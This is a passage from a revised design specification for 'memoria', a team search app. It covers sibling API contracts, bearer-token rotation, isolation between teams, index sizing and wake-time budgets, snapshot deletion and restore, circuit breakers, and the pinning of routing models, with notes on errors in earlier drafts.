1876fixed that with a revision on S2 but mapped the failure to `NOT_VISIBLE`,
1877which is silently omitted — so it cost a *silent* miss, which is the
1878failure it was supposed to prevent. It holds now only because S2 carries
1879the revision **and** answers `STALE` distinctly. All three clauses travel
1880together or the sentence is false.
1881
1882**S3 takes no person, and the reasoning went wrong twice before landing
1883here.**
1884
1885Draft 2's S3 took `(id, revision)` and *claimed* the sibling "re-runs its
1886grants join at fetch time". The draft-2 review correctly called that
1887impossible: no asker, no grants join.
1888
1889Draft 3 fixed it by adding `person_ref`. That was the wrong fix, and a
1890review of the built code found two consequences. **There is no person on
1891the ingest path** — memoria pulls on its own wake, and the warm-up, the
1892rebuild and derived-artefact regeneration have no asker either — so the
1893call that fills the corpus could not be made. And a per-person S3
1894*succeeds* for individually-granted rows, because Sheets §4.5's join is
1895"rows this team can see, **plus rows granted to me individually**" — which
1896would pull into memoria's store exactly the content §6.4 forbids and §3.3
1897claims it cannot hold.
1898
1899**The error was collapsing two rules decision 3 keeps apart.** Custody
1900bounds what memoria may *hold*: team-visible only, no person involved,
1901and that is S3's predicate. Authorization decides what a person may
1902*read*: per asker, per query, and that is S2's, at render time. Draft 2's
1903S3 had the right signature and a false comment; the fix was to delete the
1904comment, not to add a person to the call.
1905
1906So: **S3 is custody-scoped and person-less. S2 is the only per-person
1907gate, and nothing is spoken without it.**
1908
1909**The definitions above are no longer memoria's to state.** Suite ruling 7:
1910one contract, one Go module, fixtures as the interface — every app imports
1911`amadan.net/oficina/suite`, serves its half, and passes the conformance
1912suite in CI. An app spec cites the doctrine and never restates it, because
1913each spec restating the contract in its own words is exactly what drifted.
1914So **S1, S2, S3 and S6 are the module's**, and what survives here is
1915memoria's own reasoning about them: why S3 carries no person, why the four
1916S2 values are four, what a slow sibling costs. The wire shapes are the
1917module's and the fixtures are the interface.
1918
1919**S6 is cited as a specification, not as a fixture, and that is
1920deliberate.** The module on `main` is S1, S2 and S3; there is no S6 fixture
1921to conform to yet. Suite §12 **step 4** builds it — after memoria's slice 1
1922and before slice 2 — so §8.7's numeric path cites a call that is scheduled
1923rather than one that exists, and picks up the fixture when it lands.
1924Nothing else waits on it: **slice 1 needs S1, S2, S3 and §4.1 only.**
1925
1926*Suite revision 5 left S6 in the contract table with no step at all, which
1927let a numbered call read as a finished one; revision 6 gave it a step and
1928put it before slice 1, implying a dependency that does not exist; revision
19297 placed it at step 4 and said so in the step. Recorded because "cite S6"
1930meant three different things in one evening.*
1931
1932### 6.2 Authentication, and rotation
1933
1934**Per-consumer bearer tokens, minted by the operator drain, delivered as
1935platform config at provisioning.** Home §9 already works this way. The
1936drain mints memoria's tokens and writes each sibling's `consumers` row.
1937The home never sees a sibling token.
1938
1939Three alternatives rejected: **the home issues the token** (breaks home
1940§7's "the home holds no provisioning credential", and breaches home §2.2 the
1941moment it decides which origin gets one); **a team-scoped shared secret**
1942(cannot rotate per consumer); **mutual TLS** (TLS terminates at Carloku's
1943router under a wildcard certificate per app zone, home §4, so the app
1944never sees a client certificate).
1945
1946**Rotation is a three-phase handover, and draft 1 specified none.** A
1947single-token row cannot rotate without a window in which one side is
1948wrong: update the sibling first and the old token breaks; update memoria
1949first and it sends one the sibling will not accept. So a `consumers` row
1950holds **up to two hashed tokens, each with an epoch**, and the drain:
1951
19521. **Expands acceptance** — writes the new token alongside the old at
1953 every sibling. Both accepted.
19542. **Switches the sender** — delivers the new token to memoria as
1955 platform config.
19563. **Contracts acceptance** — retires the old token at every sibling,
1957 only after memoria is observed using the new one.
1958
1959Each phase is idempotent and re-runnable, so a partial delivery across
1960three siblings is recovered by repeating the phase. Emergency revocation
1961skips to phase 3 and accepts the outage.
1962
1963**The mutable `(cursor, TTL, epoch)` state is created lazily by the
1964sibling on first contact.** Platform config delivers the token, not the
1965row: home §6 is explicit that no channel exists to push one.
1966
1967### 6.3 What stops team X reaching team Y
1968
1969Team identity is the hostname label, per home ruling 16:
1970`<team>.<app>.oficina.works`.
1971
1972**Two barriers, not the three draft 1 claimed.** Both reviewers caught
1973this and they were right:
1974
19751. **The sibling's `consumers` row** — a credential *and* an origin
1976 allowlist, but one row read two ways. A bearer token is the origin
1977 claim; nothing verifies origin independently. One drain mis-write
1978 defeats both. Counting them separately overstated the defence.
19792. **memoria's client refuses any host whose `<team>` label differs from
1980 its own** — genuinely independent, test-enforced against a fixture of
1981 hostile hostnames, **and it must refuse to follow redirects**, which
1982 draft 1's fixture would not have exercised.
1983
1984**Barrier 2 is not a boundary against the §3.3 threat model.** An
1985attacker with code execution on memoria bypasses memoria's own client
1986trivially. It is a real guard against accidental cross-team dialling and
1987against a mis-provisioned host, and that is what it is claimed as.
1988
1989Same-team membership is *provenance*, not a runtime query: the drain
1990provisioned the hosts together. **The home is not on this path at all**,
1991which is how home §2.2 survives decision 1.
1992
1993### 6.4 What decision 1 does not license
1994
1995Any hop across a `<team>` label. Any instance presenting an assertion.
1996**Any write except suite §7: a person's own hand-off, and S8 as memoria
1997itself into its designated area.** Any sibling item outside the
1998team-visible custody rule. The home in the loop. Content leaving the four
1999hosts, except §8.3's named provider, which is a disclosed exception and not
2000a sibling.
2001
2002**The write exception is narrow and it is suite ruling 9's: a write names
2003its real actor, and no sibling ever acts as a person.** Two forms and no
2004third — the hand-off (suite §7.1) and S8 (suite §7.2) — and **the wire
2005shapes are the doctrine's, cited here and not restated.** An earlier
2006version of this paragraph described the hand-off as "memoria renders a
2007form that POSTs to the receiving app's create endpoint; memoria is not in
2008the write at all, it only drew the button", which is the drifted
2009restatement ruling 7 exists to prevent, and it drifted in the direction
2010that made memoria's own obligations disappear.
2011
2012**memoria's own obligations, which are the part that belongs here:**
2013
2014- **The destination is validated against memoria's own `<team>` label
2015 before the form is rendered.** memoria is in the write to that extent —
2016 it chooses where the button points.
2017- **A `form-action` CSP allowance** for the receiving origin, in memoria's
2018 rastrillo config. Gate 4's log rule runs on memoria's side of this, and
2019 the receiving app's create endpoint commits on receipt only after its own
2020 confirmation step (suite §7.1: "a create endpoint that commits on receipt
2021 is a drive-by"), which is the receiver's obligation and not ours.
2022- **On-behalf-of writes are refused for good**, because a sibling token
2023 that can write as a person is a write capability over every member's
2024 identity.
2025
2026This spec previously forbade all writes, which was simpler and also
2027forbade a person clicking "save this to Docs" with their own hands.
2028
2029### 6.5 Availability: the deadline, and what a slow sibling costs
2030
2031Draft 2 had none of this, and the draft-2 review was right that it is the
2032finding most likely to change the product rather than the spec. Every
2033search now calls every contributing sibling, any of which may be cold, and
2034"withhold loudly" said what to do on failure without saying when failure
2035is declared.
2036
2037- **Deadline: 800 ms per sibling, all siblings called concurrently.** One
2038 page of results is one round of calls, so the page's floor is the
2039 slowest sibling, not their sum. The number is a starting assumption, not
2040 a measurement — §13 carries the obligation to measure it before slice 1
2041 ships.
2042- **A sibling past its deadline is `UNKNOWN`**, which withholds its
2043 passages loudly and renders the rest. **Partial pages are the normal
2044 case, not an error path**, and the page names what is missing and from
2045 which app.
2046- **A cold sibling is a wake, and a wake is slower than a deadline.** The
2047 honest consequence: the first search after a quiet period reliably
2048 withholds. So memoria **polls S1 at every configured sibling on its own
2049 wake**, before anyone has searched, to spend that latency where nobody
2050 is waiting. In suite shape it pulls the roster (suite call 8) on the same
2051 wake, for the same reason and on the same grounds: call 8 carries a
2052 consumer token and no asker.
2053- **Draft 3 said "fires S7 and a warm-up S2 on its own wake", and that
2054 call cannot be made.** Both take a person ref and there is nobody there
2055 on a wake — the same error as draft 2's per-person S3 (§6.1), repeated
2056 three sections after the correction for it was written. S1 is the call
2057 that already has no asker, it is the call memoria makes on wake anyway,
2058 and warming a sibling is warming a sibling whichever endpoint does it.
2059 A warm-up naming a person is a warm-up no fixture could ever have
2060 received, which is how it survived a draft.
2061 *The suite branch then wrote "pulls the roster and fires a warm-up S2",
2062 which is the same mistake with one of its two halves fixed — the roster
2063 pull is asker-less and fine, the S2 still is not. Corrected on merge,
2064 2026-09-06.*
2065- **A reliably slow sibling produces permanent withholding**, which is
2066 worse than it sounds: the product's primary path degrades to "Sheets did
2067 not answer" forever, and a reader learns to ignore the notice. There is
2068 no design that fixes this while failing closed. **The stated position
2069 is that this is a suite health problem surfaced by memoria, not a
2070 memoria problem to route around** — and if it happens, the answer is to
2071 fix or drop the source, never to cache its authorization. (§4.3's S7
2072 cache is not an exception to that sentence and §4.3 argues why: this
2073 clause is about a sibling's answer on a *passage*, which is never
2074 cached and never will be.)
2075
2076**Each of these is a number a gate can assert, and draft 3 asserted none
2077of them.** Gate 23 holds the deadline and the concurrency together,
2078because either alone passes on the other's failure: a sibling sleeping
2079past the deadline must not add its latency to the page, *and* three
2080siblings called at once must not cost three times one sibling's time.
2081Gate 24 holds the warm-up: every configured sibling receives its S1 poll
2082**unprompted, within a stated few seconds of the app coming up, with no
2083query issued at all.**
2084
2085*This read "before the query handler serves its first request" until
20862026-09-07, which is the ordering §10's own gate 24 works through and
2087rejects as unwritable either way — asynchronous it is a race between
2088goroutines, synchronous it puts three sibling wakes in front of the first
2089reader and undoes the warm-up's entire purpose. §10 had the corrected
2090form; this sentence did not, and the code cites §10. Found by a review of
2091the branch that built it.*
2092
2093---
2094
2095## 7. The index
2096
2097The design Docs §15 item 2 recorded as missing: *"An FTS5 index is
2098plaintext in SQLite and would fail our own gate; decrypting the corpus
2099per query is O(corpus)."*
2100
2101**Hybrid BM25 + dense vectors, fused by reciprocal rank, both sealed at
2102rest and resident in RAM while awake.**
2103
2104### 7.1 FTS5 is available cgo-free
2105
2106**Verified independently by both reviewers**, each building a static
2107binary against the suite's pinned `modernc.org/sqlite v1.55.0`:
2108`CGO_ENABLED=0` created `fts5(body, tokenize='porter unicode61')`, ran
2109`bm25()`, reported SQLite 3.53.3, and `pragma_compile_options` contained
2110`ENABLE_FTS5`.
2111
2112Per §3.1 its postings are plaintext, so the FTS table lives on
2113non-replicated scratch or in memory and is snapshotted to the bucket as a
2114sealed blob. **Whether CARLOS provides non-replicated scratch is
2115unverified — §13.**
2116
2117### 7.2 The arithmetic, derived
2118
2119**One corpus assumption drives every number below.** Draft 1 used 90k
2120chunks for memory and 60M tokens for cost, which are inconsistent; both
2121reviewers caught it.
2122
2123> **90,000 chunks at the measured 202 words / 1325 bytes each** — about
2124> **24M tokens** and **114 MB of text**.
2125
2126**Stated in chunks, because documents vary too much to convert.** Draft 3
2127wrote "30,000 documents × 3 chunks"; the benchmark's own corpus averages
2128**11.8** chunks per document, so this ceiling is roughly **7,600 documents
2129of the kind measured**, not 30,000. Any figure quoted per-document is
2130wrong by about 4×. The ceiling is a chunk count and only a chunk count.
2131
2132The token figure follows from the measured chunk (202 words ≈ 270 tokens),
2133not the 400-token target: **24M, not the 36M draft 3 carried into §8.6.**
2134
2135**Vectors.** 512-dim Matryoshka embeddings, stored **int8-quantised**.
2136
2137**512 is a client-side truncation, not a requested dimension.** The
2138parenthetical this replaced — *"OpenAI's `-3` models accept a `dimensions`
2139parameter"* — is true of OpenAI and false of the provider §8.3 selects.
2140`qwen/qwen3-embedding-8b` emits **4096 fixed** and *fails the request* if
2141`dimensions` is sent. The pipeline therefore keeps the first 512 values and
2142**re-normalises to unit L2**. That is valid because the model is trained
2143Matryoshka.
2144
2145**Search computes a raw dot product over vectors stored unit-normalised**,
2146not a cosine that divides by norms at query time. §7.3's `2 × N × D` flop
2147figure already assumed this and the spec never said so. It matters here:
2148**cosine is scale-invariant, so against a true cosine a skipped renormalise
2149changes no ranking at all** — a gate written over cosine could not fail,
2150which is the shape AGENTS.md says this codebase has already shipped three
2151times. Over a raw dot product the same omission silently reorders results.
2152So the earlier draft of this paragraph, which said "cosine similarity then
2153degrades smoothly", was wrong twice: cosine does not degrade, and the thing
2154that does degrade is the form the spec had not committed to.
2155
2156Gate 28 is therefore deterministic and cannot be argued past — *every
2157stored vector has L2 norm 1 ± ε; mutation: skip the renormalise, expect
2158red* — and gate 29 carries the measurement it cannot do.
2159
2160**It costs ingest bandwidth, not storage.** Truncation happens before
2161storing, so the table below is unchanged — 90k chunks × 4096 f32 is
2162**~1.4 GB decoded to store 46 MB**, a ratio of about 32×, not the 8× you
2163get by mis-reading the kept width as the f32@512 intermediate (184 MB is
2164what truncation yields; int8 quantisation is what is stored).
2165
2166**On the wire it is several GB, and base64 is not the way out.** Tested
21672026-09-05: `encoding_format: "base64"` is **accepted and silently
2168ignored** — the response returns JSON floats, matching the request that
2169omits the parameter. Not an error, just dropped. So the ~2 GB base64 figure
2170an earlier draft hedged with is unavailable.
2171**The replacement figure is derived, not measured, and the range is wide.**
2172At ~11 bytes a float it is ~4 GB across 90k chunks; servers of this family
2173often emit 17-significant-digit reprs at ~20 bytes, which is ~7 GB. A probe
2174response was in hand and nobody counted its bytes — measure bytes-per-
2175vector once and multiply, rather than guessing at a serialiser's precision.
2176**And "no opt-out" overstates it:** `Content-Encoding: gzip` collapses
2177digit strings, Go's client asks for it by default, and whether TensorX
2178honours it is one response header on the same probe (§13). Note the behaviour as well as the number: **a provider that
2179accepts a parameter and discards it will do so again**, which is an
2180argument for asserting on what comes back rather than on what was asked
2181for.
2182
2183This is ingest-time, not wake-time, so §7.3's ceiling is untouched. It is
2184not free either: neither the first embed's wall-clock nor the batch size
2185the endpoint accepts is written down anywhere, and §13 asks for the
2186re-embed figure while the first embed's is equally absent.
2187
2188| chunks | int8 @512 | f32 @512 | f32 @768 |
2189|---|---|---|---|
2190| 10k | 5 MB | 20 MB | 31 MB |
2191| 90k | **46 MB** | 184 MB | 276 MB |
2192| 250k | 128 MB | 512 MB | 768 MB |
2193
2194Draft 1's table mixed an int8 design with f32 columns without saying so.
2195
2196**Query latency, derived.** A brute-force pass is `2 × N × D` flops. On
2197one core of this machine, measured at **3.2 GFLOP/s** (pure Go, no SIMD):
2198
2199| chunks × dims | flops | latency |
2200|---|---|---|
2201| 10k × 512 | 10.2 M | 3 ms |
2202| 90k × 512 | 92 M | 29 ms |
2203| 100k × 768 | 154 M | **48 ms — measured, matches** |
2204| 250k × 512 | 256 M | 80 ms |
2205| 1M × 512 | 1.02 G | 320 ms |
2206
2207**FTS index size — remeasured, and draft 2 was wrong by half.** Draft 2
2208reported 104 MB from a synthetic corpus of random letters. The draft-2
2209review showed that figure could not describe the stated schema, because a
2210default FTS5 table keeps its own copy of the inserted text. Measured
2211properly, on the real corpus, chunked by memoria's own chunker
2212(`docs/BENCHMARKS.md` carries the machine and command):
2213
2214| schema | index | bytes/chunk | build | query |
2215|---|---|---|---|---|
2216| `fts5(body, …)` — default | **200 MB** | 2329 | 6.8 s | 1.09 ms |
2217| `fts5(body, content='', …)` | **49 MB** | 574 | 6.2 s | 1.09 ms |
2218
2219**A contentless table is 4× smaller and queries just as fast, but cannot
2220return column values — so `snippet()` does not work and memoria must build
2221its own highlight from the sealed chunk.** That is the trade, recorded as a
2222decision: slice 0 uses the default table because a snippet is free there
2223and the corpus is tiny; the snapshot design uses contentless, because 49 MB
2224against 200 MB decides the wake budget.
2225
2226**A chunk is smaller than draft 2 assumed.** Measured mean: **202 words /
22271325 bytes**, not 400 words / 1.6 KB. The chunker targets 400 words but
2228folds runts and never straddles a heading, and real documents have
2229headings every few paragraphs. Every figure here follows from the measured
2230size.
2231
2232**The chunker is line-based, and three bugs made it so** (found reviewing
2233the built code, not the spec). A heading is a heading whether or not a
2234blank line follows it — `## Revenue` immediately above its text is the
2235commonest Markdown style, and a paragraph-based splitter filed the whole
2236thing as body with an empty trail, so those documents indexed with no
2237heading at all. A `#` inside a fenced code block is a shell comment, and
2238was becoming a heading that captured everything after it. And a file with
2239no blank lines — a CSV, a log, hard-wrapped prose — became one chunk of
2240the entire file, whose only citation read "passage 0" for everything. So:
2241fences are tracked, headings close a chunk without needing a blank line,
2242and **`MaxWords` (1000) is a hard ceiling on both a paragraph and a
2243chunk**. The measured mean above is from the fixed chunker.
2244
2245**Rebuild vs snapshot.** Building the index took **6.8 s** at 90k chunks.
2246Loading a sealed snapshot does not. **Snapshot, never rebuild** — above
2247slice 0, where a rebuild is milliseconds.
2248
2249### 7.3 The wake budget, and the real ceiling
2250
2251Snapshot at 90k chunks, measured:
2252
2253| design | FTS | vectors | separate text | total |
2254|---|---|---|---|---|
2255| default FTS (text is in the index) | 200 MB | 44 MB | — | **244 MB** |
2256| contentless FTS + the text snippets need | 49 MB | 44 MB | 114 MB | **207 MB** |
2257
2258**Stated assumption, which draft 1 omitted:** bucket read at 50–100 MB/s,
2259AES-GCM at ~1 GB/s. So 150 MB loads in **1.5–3.0 s plus 0.15 s decrypt**.
2260
2261A **5 s budget** at the conservative bandwidth admits ~250 MB. Against the
2262measured footprints that is **about 90,000–110,000 chunks**.
2263
2264**Both earlier drafts got this wrong, in opposite directions, and the
2265correction is worth keeping.** Draft 1 said ~100k and called it "the same
2266ceiling the brute-force arithmetic gives, which is tidy" — a coincidence it
2267had manufactured. Draft 2 called that out and derived ~150k instead, from
2268an FTS figure that was wrong by half. So **draft 2 moved the number the
2269wrong way while claiming to have fixed the arithmetic, and draft 1's
2270~100k was closer by accident.** Measurement, not rederivation, is what
2271settled it.
2272
2273Brute-force cosine remains nowhere near binding: §7.2 measures 250k chunks
2274at 80 ms.
2275
2276**The honest conclusion draft 1 missed: the wake budget binds first, and
2277ANN does not help it.** An HNSW graph makes the snapshot *larger*. So the
2278deferred item is not "ANN at 250k" but **an on-disk sealed index, or
2279partial load with background fill** — §12.
2280
2281### 7.4 Snapshots, deletion, and restore
2282
2283**A snapshot is not a cache; it is a durable copy that outlives the
2284deletion it predates.** GPT Sol's finding 6, which neither the other
2285reviewer nor draft 1 caught.
2286
2287- **A deletion is not complete until a superseding snapshot is written
2288 and the prior snapshot is retired.** Snapshots carry a monotonic
2289 generation; retirement deletes the blob.
2290- **On wake, sibling content may serve immediately**, because §4.1 asks
2291 the sibling live and a deleted item answers `NOT_VISIBLE`.
2292- **memoria-owned content (§4.2) has no such backstop**, so its deletions
2293 must be applied to the loaded index before it serves. A snapshot
2294 records the deletion cursor it is current through; a gap is replayed
2295 from the tombstone log at wake, before first query.
2296- **A restore from backup takes the re-announce path** and replays
2297 memoria-owned tombstones before serving.
2298- **A *sibling's* restore is the mirror case, and §4.1 specifies it.**
2299 memoria then holds revisions the sibling does not, which answer `AHEAD`.
2300 Reconciliation is: the source leaves the ranking, the re-announce runs,
2301 items the completed announce omits are **retired**, and announced
2302 revisions replace memoria's whichever way the numbers point. Retirement
2303 is a memoria-side deletion, so it goes through this section's durable
2304 tombstone log like any other; an announce that fails to complete retires
2305 nothing. Gate 27.
2306- **The tombstone log is durable independently of the database, and this
2307 is what draft 2 was missing.** Restoring a backup from before a deletion
2308 also restores a tombstone log from before it, so replaying that log
2309 replays nothing: the deletion is simply gone. So tombstones are written
2310 to their own append-only object in the bucket, keyed by a monotonic
2311 deletion sequence, retained beyond any restorable backup's age, and
2312 **replayed from the sequence the restored database stops at** rather
2313 than from the log it happens to carry.
2314- **A snapshot is not retired while any restorable backup could point at
2315 it.** Draft 2's retirement rule created the mirror-image bug: a restored
2316 database referencing a superseded generation finds the blob deleted and
2317 has no index at all. Retirement waits out the backup retention window,
2318 and a snapshot referenced by a missing generation triggers a rebuild
2319 rather than an empty index — an empty index would serve "nothing
2320 matched" over a full corpus.
2321
2322---
2323
2324## 8. Retrieval and the answer
2325
2326### 8.1 One gate, both paths
2327
2328**Every path that renders a passage calls §4.1 first** — search results,
2329snippets, generated answers, derived artefacts, API responses. There is
2330no passage-only path that skips it, which is the whole of gap 2's fix.
2331
2332With AI off, the floor: a GET form, `?q=`, ranked passages, each carrying
2333app, title, locator, 👨/🤖 marker, date, and a deep link. Scriptless,
2334paginated, rastrillo `server` shape. Lexical only, since embeddings need
2335a provider — and per §3.2, nothing leaves the instance in this mode.
2336
2337**§8.8's fact box is part of this floor and not an addition above it.** It
2338calls no model in its deterministic layer (§8.8, decision 15 as
2339amended), so that layer is present in exactly the mode this
2340paragraph describes; gate 15 covers it with everything else here, and it
2341renders inside the results region rather than beside it.
2342
2343**Loud withholding, naming the shape of the loss:**
2344
2345- `UNKNOWN` from a sibling → *"Sheets did not answer; 7 results
2346 withheld."*
2347- A failed S3 after a successful S2 → the passage is listed as
2348 unavailable, never dropped.
2349- A failed or stale S1 → the page states the corpus is current as of a
2350 time, rather than implying freshness.
2351- **A circuit breaker, and draft 4's renamed its problem rather than
2352 removing it.** Draft 3's fired on the routine case — a Docs-only member
2353 gets wholesale `NOT_VISIBLE` from Sheets on every query they will ever
2354 run, and a notice that fires for an ordinary person is a notice readers
2355 learn to skip. Draft 4 wrote the right sentence, **"the predicate has to
2356 be a property of the sibling, not of one asker"**, and then kept a
2357 predicate that was a property of whoever happened to query that day:
2358 *zero `VISIBLE` in a 24-hour window*. Two ordinary events satisfy it.
2359
2360 A 24-hour Sheets outage answers `UNKNOWN` to everything, which is zero
2361 `VISIBLE`, which trips a breaker whose whole subject is refusal — an
2362 availability problem reported as a permissions anomaly, on the day the
2363 operator most needs to read the notice correctly. And on a team where
2364 one person uses Sheets and three do not, a single day when that person
2365 is away leaves three askers, four pages of queries, zero `VISIBLE` and a
2366 `VISIBLE` last week. The routine case with a day off in it.
2367
2368 **So the predicate counts refusals, not the absence of grants, and the
2369 signal is a per-asker transition.** Per sibling, over a rolling 24-hour
2370 window:
2371
2372 - **the baseline set** is every asker who received at least one
2373 `VISIBLE` from this sibling in the 7 days *ending where the window
2374 begins* — `[start − 7d, start)`, disjoint from the window, so the
2375 window can never be its own baseline;
2376 - the breaker fires when **at least 3 askers in the baseline set each
2377 asked this sibling at least one pair inside the window and received
2378 zero `VISIBLE`**, and **the window contains at least one
2379 `NOT_VISIBLE`** from this sibling.
2380
2381 Each clause earns its place. Counting `NOT_VISIBLE` rather than "no
2382 `VISIBLE`" is what separates a sibling that is refusing from one that is
2383 down: an outage produces `UNKNOWN`s and no `NOT_VISIBLE`, so it does not
2384 trip this breaker at all — §6.5's partial-page notice is what reports
2385 it. The per-asker transition is what makes the predicate a property of
2386 the sibling: a Docs-only member is never in the baseline set, so no
2387 number of them can trip it, whoever else did or did not query today.
2388 And requiring each counted asker to have *asked* inside the window is
2389 what stops absence being read as refusal.
2390
2391 **The 200-pair clause is dropped, and its removal is the point.** One
2392 page of results is 50 pairs, so four queries met it; it did no work, and
2393 a floor that everything clears is a clause that reads as rigour. What
2394 replaces it is the requirement that three baseline askers each actually
2395 queried the sibling in the window, which is a floor written against the
2396 thing being measured rather than against the traffic.
2397
2398 **Where the windows live, and what that costs.** memoria hibernates
2399 (§3.5), so an in-memory window resets on every wake and a breaker that
2400 can never accumulate seven days of baseline is a breaker that is off —
2401 reading, on the owner's page, as "no anomaly". So the counters are
2402 **durable**: per `(sibling, asker, UTC day)`, two integers — `VISIBLE`
2403 and `NOT_VISIBLE` — sealed under their own HKDF purpose, **retained 8
2404 days and no longer**, which is the window plus the baseline plus one.
2405 That is a per-person, per-sibling record of how much each person was
2406 allowed to see, it is a per-person record, alongside optional Home identity bindings, and
2407 **§3.2's leak list carries it** rather than leaving it to be discovered.
2408 Two integers a day is the smallest thing that answers the question; a
2409 per-refusal log would answer it too and is not built, because the
2410 aggregate is sufficient and the log is not.
2411
2412 **The window is a UTC day, and the NOT_VISIBLE clause is per counted
2413 asker. Corrected 2026-09-07.**
2414
2415 It says the counters are keyed per `(sibling, asker, UTC day)` and that
2416 the window is *rolling 24 hours*. Two integers a day cannot answer a
2417 question about an interval beginning partway through a day: there is
2418 nothing in the row to split on, which is the whole economy of storing an
2419 aggregate rather than the per-refusal log declined above. The storage
2420 rule wins, because it is the one the leak list was written against —
2421 **the window is the current UTC day, and the baseline the seven UTC days
2422 before it**, still disjoint. The cost is precision at the boundary: a
2423 refusal spree beginning at 23:00 UTC is judged on an hour of evidence
2424 and re-judged on a full day. That is a delay in firing, never a false
2425 positive, which is the right direction for a notice whose purpose is not
2426 to cry wolf.
2427
2428 **And the third clause binds each counted asker, not the window.** It
2429 read "the window contains at least one `NOT_VISIBLE`", which §13 had
2430 already recorded as wrong: window-global, it is satisfied by one routine
2431 refusal of a Docs-only member, so a 24-hour outage plus that single
2432 query fires the refusal breaker — the exact case the prose above says is
2433 excluded. Per counted asker — **`VISIBLE = 0` and `NOT_VISIBLE >= 1`** —
2434 all three clauses collapse into one condition, and "asked in the window"
2435 stops needing its own storage: a refusal *is* the evidence that somebody
2436 asked.
2437
2438 *An amendment made here on 2026-09-07 added a third counter, `ASKED`,
2439 arguing that the clause could not otherwise fail. The observation was
2440 right — an all-`UNKNOWN` day writes no row, so an outage's askers never
2441 enter the window and mutation (ii) stays green — and the remedy was
2442 wrong twice over. §13 already carried the correct fix, and this section
2443 was amended without opening it, which is the failure AGENTS.md calls
2444 characteristic, committed while repairing another one. And the third
2445 integer enlarged the per-person breaker record memoria keeps — a "how often
2446 did they query" count — without §3.2's leak list being opened either.
2447 Both reverted; two integers, and the clause moved instead.*
2448
2449 **A window that cannot be read says so.** If the counters are missing,
2450 unreadable or short of a full baseline — a fresh instance, a restore, a
2451 seal failure — the sources page reports **"cannot determine"** for that
2452 sibling, naming which of the two it lacks. It never reports "no
2453 anomaly", because a count that fails is not a count of zero, and this is
2454 the one place in the design where that mistake would silently disable a
2455 guard rather than mis-render a page.
2456
2457- **The S3 half has no asker**, so its predicate is the same shape with
2458 the asker clause removed: **at least 20 fetches in the window, all 404,
2459 with at least one success in the disjoint preceding 7 days.** Twenty
2460 rather than two hundred because an ingest pass fetches far fewer items
2461 than a search asks pairs, and the 200 here was the same borrowed number
2462 doing the same non-work.
2463
2464- **Neither breaker's counters are read at query time.** They are written
2465 on the path that already made the call and read only when the owner's
2466 sources page is rendered, so a reader never waits on them.
2467
2468- **Wholesale `AHEAD` is a third breaker**, and it reads differently: not
2469 a mis-scoped predicate but a restore (§4.1). **Unbuildable until the
2470 contract module ships the fifth constant** — with the wire mapping the
2471 case to `UNKNOWN`, this breaker cannot fire at all, and worse, it would
2472 be indistinguishable from the outage this section says must *not* trip
2473 one. §13 carries the dependency. It states a restore, marks
2474 the source for re-announce, **takes that source out of the ranking**,
2475 and purges nothing. It needs no baseline and no asker floor, because a
2476 single `AHEAD` is already a positive statement that the sibling lost
2477 history — there is no routine case to exclude. Gate 27.
2478
2479- **All three purge nothing, and none of them appears on a reader's
2480 results page** — with one exception the `AHEAD` breaker has to make.
2481 The refusal and S3 notices go to the team owner's sources page, because
2482 a message telling one reader how much they were not allowed to see is a
2483 disclosure with a number in it, and §4.1 is explicit that
2484 `NOT_VISIBLE` is the one value that may be silent. **The reconciling
2485 notice is different and does go on the results page**: it says a source
2486 is temporarily out of the search, which is a statement about the suite's
2487 health and carries no fact about anyone's permissions. Leaving it off
2488 would be the silent short page gate 27 exists to catch. Gates 8 and 27.
2489
2490### 8.2 Routing, decided after retrieval
2491
2492Retrieval is free, so the router runs on results. Five classes, three
2493calling no model:
2494
2495| Class | Signal | Route |
2496|---|---|---|
2497| Navigational | "where is the Q3 budget" | **No model.** Result list. |
2498| Numeric / aggregate | asks for a computed value | **No model does the arithmetic.** Resolve slots, then S6 — §8.7. |
2499| Who knows about X | asks about people | **No model.** Authorship markers on passages that already passed §4.1, aggregated. |
2500| Single-source factual | large top-1 BM25 margin, one document | Cheap model, extractive. |
2501| Synthesis | top-K spread across ≥3 documents | Frontier model. |
2502
2503Draft 1 wrote "filtered to what the asker can see" on the third row,
2504which either restated §4.1 or smuggled a second per-person filter
2505alongside it. The passages have already passed the gate.
2506
2507**§8.8's fact box is not a sixth row, and it was one in that section's
2508first draft.** A row here is a route, and a route is terminal: a query
2509naming a fact kind would have stopped at the box, so *"what's the office
2510phone number?"* with nothing validated in reach would get no answer where
2511the single-source class would have given one. The box runs **before** this
2512table and does not consume the query — Paul's constraint is deterministic
2513*first*, not deterministic *instead*. It is a fourth way memoria answers
2514without a model; it is not a fourth destination.
2515
2516Two configuration names — `model.cheap`, `model.frontier` — with the
2517route printed on the answer.
2518
2519**The pinning rule bit the first two ids this section chose**, and the
2520catalogue since settled how to satisfy it. The first pair were
2521`z-ai/glm-5.3-flash` and `moonshotai/kimi-k3`, neither datestamped. **The
2522live catalogue proves the concern rather than merely suggesting it: it
2523lists `deepseek/deepseek-v4-pro` and `deepseek/deepseek-v4-pro-0813` side
2524by side** — the same model as a bare alias and as a dated snapshot, which
2525is exactly the shape the rule is about, in this vendor's own inventory
2526(`GET /v1/models`, 2026-09-05).
2527
2528**Only two families offer a dated id at all.** DeepSeek
2529(`v4-pro-0813`, `v4-flash-0731`, `r1-0528`) and one Qwen
2530(`qwen3-235b-a22b-2507`). Every Kimi, GLM and MiniMax id is a bare name —
2531`kimi-k3` exists, but no `kimi-k3-<date>` does. So pinning Kimi would make
2532gate 30's canary load-bearing, and pinning DeepSeek does not.
2533
2534**Both tiers are therefore DeepSeek:** `model.cheap` is
2535`deepseek/deepseek-v4-flash-0731` and `model.frontier` is
2536`deepseek/deepseek-v4-pro-0813`. Confirmed by Paul on 2026-09-05.
2537
2538**Be exact about how much of that the rule decided.** It forced the move
2539off two undated ids. It did *not* force DeepSeek twice: the survey above
2540lists a dated Qwen (`qwen3-235b-a22b-2507`), so a two-lab pair satisfies
2541the rule equally. Choosing DeepSeek for both is a judgement about price,
2542recency and family coherence — defensible, and **made without putting the
2543Qwen option in front of Paul**, which §13 records rather than quietly
2544keeps.
2545
2546**The concentration gets a stated response, not just a note.** Both tiers
2547are now one lab as well as one host, so a DeepSeek withdrawal moves both at
2548once. Name the fallback now — `qwen/qwen3-235b-a22b-2507` for the frontier
2549tier, `z-ai/glm-5.3-flash` for the cheap one with gate 30 carrying it — so
2550a withdrawal is a config change through §Review on a normal day rather than
2551a research task on a bad one.
2552
2553**The canary is not demoted, and an earlier draft of this section demoted
